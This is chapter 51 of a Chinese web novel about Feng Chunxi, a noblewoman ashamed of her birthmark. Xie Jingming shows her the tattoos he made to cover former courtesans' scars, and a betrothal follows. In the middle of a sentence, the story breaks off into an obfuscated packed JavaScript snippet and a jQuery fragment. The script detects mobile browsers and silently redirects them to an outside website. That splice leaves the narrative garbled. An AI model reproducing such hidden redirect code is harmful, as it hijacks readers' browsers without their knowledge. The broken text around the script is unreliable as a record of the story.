51. 第 51 章
作品:《炮灰通房的躺平日常》 冯春熙回了府,舅母听闻今日发生的事情,气得在屋里直打转,恨不得立马上永昌侯府去讨要个说法。
欺人太甚!
真是欺人太甚!
她一个永安县主,居然使出如此下作的手段,她暗骂一句不要脸。
柳柳站在冯小姐旁边也是气得不行,攥紧了拳头。
太不要脸了!居然用这种下三滥的手段,当她们小姐没人吗?
都怪她,怎么就粗心让小姐一人在房间里呢?
冯春熙看着倒是冷静,一言不发,不知是不是气极了,回想着今日发生的种种,先是醉酒弄湿了衣服,后是突然闯入的谢景洺、而后出现的谢景恒。
总有一丝理不清楚的地方。
背后的胎记出生时就带着了。
如此大的胎记,视为不详之兆,旁人劝父亲母亲将她掐死、或者是寄养在寺庙中,但父亲母亲不舍得,冯春熙是她们的第一个孩子,也不信旁人的话语,将她养在身边,疼爱有加,视为掌上明珠。
时间一点点过去,试了无数的偏方,后背的胎记始终消不掉。
到了适婚的年纪,父母忧愁不已,担心她被嫌弃,想将她养在家中一辈子,反正他们冯家养得起。
但冯春熙不能如此自私。
家中还有弟妹,过了外面婚嫁的年纪,外面已有闲言碎语,父母疼她一场,她不能因为自身的原因,影响了弟妹的婚嫁。
第一任相公为翰林院大学士之子,温文儒雅,她也曾动心,幻想过温柔如他,清风朗月,不会介意她后背的胎记。
幻想终归是幻想。
新婚之夜,他解开她的衣裳,见到后背大片的胎记,眼中难以掩饰的惊恐。
蜡烛熄灭,一张被褥之下,睁眼到天明。
他终归是个温和的人,流连烟花之地,给了她和离的理由。
有了第一次教训,冯春熙嫁给了父亲的一名下属,好拿捏,再如何都不会将她的秘密传扬出去,但小官对她的后背的胎记不仅是惊恐,更是嫌恶,避她如蛇蝎,两人想看两厌,最后冯春熙觉得如此过下去,两人都不好受。
她提了和离。
期间,弟妹婚嫁顺利,她也绝了心思。
只是父亲日日忧愁,弟妹俱是夫妻和睦,将来子孙满堂,只他的第一个孩子,孤孤单单的,嘴上不说,冯春熙能感受到父亲的忧愁。
最后试一次。
她如是想。
婚嫁的人选需要好好挑选。
谢景恒是个不错的人选,他生母过世,嫡母不合,身体不好,有腿疾,有一通房,看样子喜欢得紧。
若是不讨厌,可以相处一二,她可以允许谢景恒和南星恩爱,做表面的夫妻,各过各的,但是,没想到,谢景洺撞见了她的秘密。
不知是有意还是无意。
他那人好玩,不像是贪图她家权势的样子。
她清晰地记得他见到她后背的眼神,有惊讶,之后是了然,没有同情,也没有厌恶,好像是一件不寻常的事情,但没有那么不寻常。
仅此而已。
“该怎么办的好?”舅母坐下来,忧心忡忡。
他看都看了,女子贞洁多重要啊,难不成真的要将春熙嫁给那永昌侯府的四公子,想起他名声在外,更愁了。
她好好的外甥女,可怎么好。
“舅妈,我都嫁了两次了,他看见了就看见了,这有什么?”
“你啊你,我说你什么好,现下还有心思同我说笑。”舅母说道,“那能一样吗?最后没有法子也只能将就了,我回头让你舅舅好好打听打听那谢景洺,凭你父亲和你舅舅,他断然是不敢欺负你的。”
“舅母,你真的打算将我嫁给那个人吗?万一,撞见我的是一个乞丐,我也要嫁吗?”
舅母张大了嘴巴,打了一下她的胳膊,“什么话你都说!”
“疼——”冯春熙捂着她的胳膊,喊疼,“我又不是十六七的小姑娘,嫁了两次,脸皮自然是厚一些的。”
舅母叹了一口气,心疼地看着自己的外甥女。
次日一早,柳柳过来说谢景洺送来了几本画册,柳柳不情愿地将画册交给小姐。
冯春熙翻看了一下,眼睛一亮,她之前寻了好久,都没有找到,不知道谢景洺从哪里找到的。
旁边的柳柳只觉得他是黄鼠狼给鸡拜年——没安好心。
书页中掉出一张纸,上面写着京郊外的一处地址。
“他什么意思?”柳柳防备地说道,“小姐你别被他骗了,我和你说,他就是不安好心,约你到郊外,谁知道他安的什么心啊。”
冯春熙看着字条上的地址,若有所思。
半晌,她道:“柳柳,备马,同我出去一趟。”
“小姐你真的要去吗?”柳柳担心地说道,“若是遇到了什么危险怎么办?”
“不会的,他只是侯府的一名庶子,还有生母和妹妹,他不敢。”
柳柳还是不放心,但是拗不过小姐,只好去备马,两人借口去郊外散散心,舅母觉得她昨日经了那一遭,心情定是不好,出门散散心也好,只让她们小心些,别走远了,日落前必须回家。
马车行至城门口,谢景洺远远看见冯小姐的马车,挥鞭骑马出了城门,在前面引路,柳柳驾着马车,撇撇嘴。
小心思还挺多的。
最后,谢景洺停在的一处院落前,栓好马,冯春熙下马车,看着眼前的大院,不知道谢景洺引她来此是何意。
谢景洺摸摸脖子,不好意思的说道,“不管你信不信,昨日的事情真的只是一个意外,我不是有意的,诶,话说多了也无益,你随我来,我给你看样东西。”
冯春熙面上有些防备。
“冯小姐,你是知州大人的千金小姐,我只是侯府一个不学无术的庶子,给我十个胆子我都不敢对你怎么样。”
冯春熙跟在他身后,柳柳不放心地跟在身后。
院子挺大,有十来间房间的样子,一进去,几名老太太正在院子中晒着太阳,聊着天,见到公子笑着招呼,“谢公子来啦。”
谢景洺笑着点头,冯春熙跟上他的脚步,问道:“她们是什么人?”
“她们都是青楼女子,年纪大了,没有着落,于是寻了这么一个地方,相互扶持着养老。”
冯春熙眼中闪过嫌恶,皱着眉头,“谢景洺,你怎么带我来这种地方。”
谢景洺转过身来,看着冯春熙的眼睛认真地说道,“她们是人,身不由己,老了找个地方一齐养老,有什么不对的地方,没有妨碍到旁人。你若是不愿意,我不会逼你进去。”
冯春熙看着推开的门,犹豫片刻后抬脚步入。
大大的屋子中十几名女子,彷佛已经等候多时,看着年岁大致在四十岁左右,穿着寻常的衣服,或是描眉画眼,或是素面朝天,可以看出年轻时姣好的样貌,平静的生活抚平曾经的风尘气息,走到人群中,不过是寻常人的模样。
谢景洺关上门,她们解开衣服。
冯春熙震惊不解,不知道她们是何意。
直到她们露出身上或大或小的纹身,冯春熙才真正地了解了她们的用意。
纹身在不同的地方,肩头、胸部、后背、大腿……
或大或小,小的只是肩头上一朵小小的、含苞待放的腊梅,大的从大腿一直延到前胸,犹如藤曼缠绕、生长在躯体之上,融为一体。
脑中好似有什么炸裂一般,冯春熙无法形容心中的感受,二十余年来,她一直为背后的胎记痛苦、煎熬、自卑,从未想过有那么多的人同她一般,也从未想过那丑陋的地方能如此之美。
她不禁走向前,看着上面的纹身,伸出手,问道,“我能摸一下吗?”
“当然可以。”那女子爽朗地说道。
冯春熙碰上那条锦鲤,它似乎是活了,她能感受到它的生命。
“这里原来是一块伤疤是吗?”她感受到凹凸不平的皮肤。
“是的,原来是一大块烫伤的疤痕,谢公子纹了一条锦鲤,他手艺好,看不出来原来的伤疤。”
“你们,都是为了遮盖伤疤吗?”
“有的是,有的不是。”年轻些的女孩子指着大腿上的纹身说道,“这里原来是一大块黑色的胎记,父母嫌弃我一生下来就有胎记,认为会给家族带来厄运,将我卖到青楼,我们许多人都是如此。”
“我也是。”
“我也是。”
……
冯春熙从院子里出来,仍没有回过神来,说不清道不明的感觉,彷佛二十余年,堵在胸口的一口气散开了,身上一直背负的东西一下就卸下来了。
有些不适应,眼框发酸。
“我没有别的意思,今天让你过来,是想让你看看,世上不同的人有许多,你不是唯一的一个。”谢景洺有些摸不清冯春熙是什么情况,“嗯,你现在也知道了我的秘密,我们两个人扯平了,你放心,我不会说出去的。”
冯春熙看着他,眼里有他看不懂的情绪。
她让柳柳在马车边守着,她和谢景洺沿着河岸散步,河岸边没人,很开阔,垂下的柳条落下一片阴影,缓解了夏热的炎热,时不时有一阵微风吹来。
“她们身上的纹身都是你做得?”
“嗯。”谢景洺点头,“大概有七八年了吧。”
“你十四岁就去青楼了?”
“咳咳——”谢景洺没有来地有些心虚,避而不谈,“青楼里有些女孩子因为身上有胎记,亲人无法接受,就将她们送来了青楼,另外,青楼有些客人有特殊地癖好,以折磨人为乐,在她们身上留下了永久的伤疤。”
冯春熙不禁为这些可怜的女子哀叹。
身为名门小姐,她对青楼女子并没有什么好印象,如今切切实实接触到了,原来她们不过寻常的可怜人。
“你怎么会纹身的?”冯春熙不禁好奇,而且纹得如此之好。
“我幼时偶然读过一本南疆书籍,上面记载有纹身的法子,挺感兴趣的。我这个人就喜欢研究这些无用的东西,后来。”谢景洺带了一丝苦笑,似乎是想起了什么故人,“有一姑娘,她,她被被一混账在身上烫了伤疤,后来,后来她,她自尽了。”
谢景洺失神地望着平静的湖面,无声的叹息,一改往日的模样。
“她不过十四岁,她很爱美,喜欢穿粉色的衣裳,留着长长的头发,用着最好的脂粉……”笑起来两眼弯弯的,两个梨涡若隐若现。
会和他说她疼。
会说她想他了。
会责怪他为什么不来见她,是不是忘了她。
最后,应该在怪他为什么会躲起来。
他不懂,那时他十四岁,喜欢上烟花之地的女子,他无法接受,他害怕对她的悸动,他无法面对自己的心。
出身世家的贵公子怎么能爱上低入尘埃的女子呢。
他逃了。
她死了。
经年之后,他才发现他错过了什么,数年之后,他才知道他为什么要苦心钻研纹身之术。
他不能弥补什么,他只是在安自己的心罢了。
冯春熙偏头看着他,良久,闻出心底的问题,“你见到我背后的胎记,你会感到害怕吗,或是会觉得恶心?”
“都没有。”谢景洺摇摇头,“我只是有些惊讶罢了。”
冯春熙信他,他见过许多,能为那些女子纹身,应该是打心底里不在意的。
“嗯。”谢景洺犹豫了一会儿,说道,“若是你想,我也可以为你纹上你喜欢的图案,遮盖掉后面的胎记。就像是作画时不小心晕开的红色颜料,只需添上几笔,也可以是盛放的牡丹花。”
冯春熙笑了,看着他问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493925|166779||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“若是我嫁人了,我相公问我背后的纹身,我该如何解释。”
谢景洺皱着眉头思考,“三哥他应该是不会介意的,等会儿,你干嘛非要嫁给我三哥,你又不喜欢他,要不,你换一个人,我觉得总会有人不介意的……”
谢景洺絮絮叨叨地说了句许多,展现了他话痨的本性。
冯春熙笑着听他说话,时不时回应上一两句。
自从那日从郊外回来,柳柳觉得小姐变了许多,不知哪里变了,就是和以前不同了。
柳柳感到危险的是,小姐画上总是同一个人。
那日,谢景恒紧赶慢赶回到院子,见到了心心念念的人,心疼地将人抱在怀里。
南星被他抱得喘不过气来,又不忍心推开他,只能任由他抱着。回到了小院,心中的那股怒气消散了不少。
金屏的那巴掌,她迟早要找寻回来的,不就游了泳吗?没什么大不了的。
赵衍,原主的纠葛,也不能抱怨什么,事情处理好了就好了,多余的情绪,消耗自己。
无力感充斥着,谢景恒从未如此恨自己的无能,从为如此急切地想要拥有权力地位,徐徐图之终究是太慢了。
“抱歉,是我没能保护好你。”
南星手环抱着他的后背,笑着说道,“我自己可以保护好自己的。”
谢景恒沉默了。
良久,南星开口问道:“公子,你是要成亲了吗。”
谢景恒放开她,紧盯着她的眼睛,问道,“谁和你说的?”
“就是府中的下人。”南星说道,其实是今日下午玉珠过来看她的时候同她说的,得知这个消息,她没有预想中的难过,只是觉得心中悬着的那块秤砣终于落了地,踏实了。
她还是想亲口问出来。
她想得到他口中的答案。
“没有的事。”谢景恒说道,“那是夫人的意思,我和冯家小姐成不了。你不要多想,好好休息,今晚睡个好觉。”
“那你什么时候成亲?”
谢景恒蹙着眉,内心抵触继续这个话题,莫名的焦躁不安,“今年都不会。”
“是要等到明年你科考后吗?”南星抬头问道,非要求一个明确的答案。
“嗯。”
也是,到时候有了功名,自然可以找条件更好的。
明明已经看开了,为什么得到肯定的答复,心还是钝痛呢?
南星抱住他,脸贴着他的胸膛,心跳声让她真真切切地感受到,此时此刻,她们是真实存在,真实地彼此拥有。
一年,南星,你有一年的时间放任自己。
“谢景恒,我好喜欢你。”她闷闷地说道。
谢景恒双目睁大,一颗石子坠落平静的湖面,泛起一圈圈的涟漪,双手不知如何动作,僵在那里,心脏扑通扑通跳动,提醒着他这是真实的。
嘴角勾起,笑意直达眼底,如春暖花开、万物复苏,无法衡量的惊喜。
他将人拥入怀中,埋在她的肩头,心房不住地震颤,喃喃道:“南星、南星……”
不知抱了多久,南星抬起头,发现他眼角红了,伸出手抚上去,一点点残存的湿意。
他数年间恨自己的嫡母,恨她逼死了自己的生母,恨她手段毒辣,恨她不放过幼年的他,十余年孤苦求生,后来得知全部的真相,他不知道该恨谁。
但,此时此刻,他感谢,感谢夫人将南星送到他身边。
可能是老天爷对他十余年无人照拂的补偿。
夜深人静,谢景恒借着烛光,低头看着在他怀抱中酣睡的人,她平静的睡颜,他感到无比的安静和满足,漂泊无依的蒲公英,有了扎根的小天地。
数年后,回想起那夜,南星的告白,依旧心房颤动。
一段平静的日子,冯小姐的舅母为了上个月,夫人送的桃花酿登门道谢,特意回了礼,两人聊了一个下午。
几日后,永昌侯府请了媒人上门提亲,求娶冯春熙冯小姐。
当然,要娶冯小姐的人不是侯府的三少爷谢景恒,而是侯府四公子谢景洺,一时间京城议论纷纷。
一是冯小姐和永昌侯府四公子二人名声在外,二是两人年龄差了六岁,根本不搭边,三才是永昌侯府居然越过了侯府三公子。
可能是谢景洺和冯小姐两人实在是太过不可能,在意第三点的反而少了,京城地下赌场纷纷开赌,赌两人多久和离。
其中三个月押注的人最多,其次是一个月,他们大多压了三个月是因为两人家世不凡,怎么的也得撑过三个月,不然太没脸子了不是。
二人的婚事定得很快。
侯爷觉得他那个不孝子能娶冯家小姐算是他命好,有个厉害的能拘他,说不定是件好事,夫人只是想攀上冯家这棵大树,谁娶都可以,只要冯家小姐愿意嫁进门,怎么说,是她理亏在先。
谢景洺和姨娘是最后知道的。
他得知自己将要和冯小姐成亲的时候一脸懵,他怎么把自己给赔进去了。
他也想争取一下,转念一想,毕竟他见过冯小姐的身子,她要他负责也是正常不过的事情。
他一介浪荡子,娶谁都一样,至少两人聊得来,冯春熙知道他的德性,不嫌弃他就好。
姨娘知道儿子要娶一名大六岁,还嫁过两次的女子,凭家世多好也不能接受,天塌了一般,不惜去侯爷那里闹过,去夫人那里就求过。
都没有法子。
就连自己的儿子也是一副无所谓的样子。
姨娘直呼造孽啊!
每天茶饭不思,整个人都消瘦了许多,谢景洺无法,只能安慰姨娘,娶了冯小姐,府中无人再能欺负他们,连夫人都得给他们几分脸面。
往好了想,以后她的孙子有了一个强有力的外家。
姨娘方觉得有点点安慰,挣扎起来准备儿子的婚事。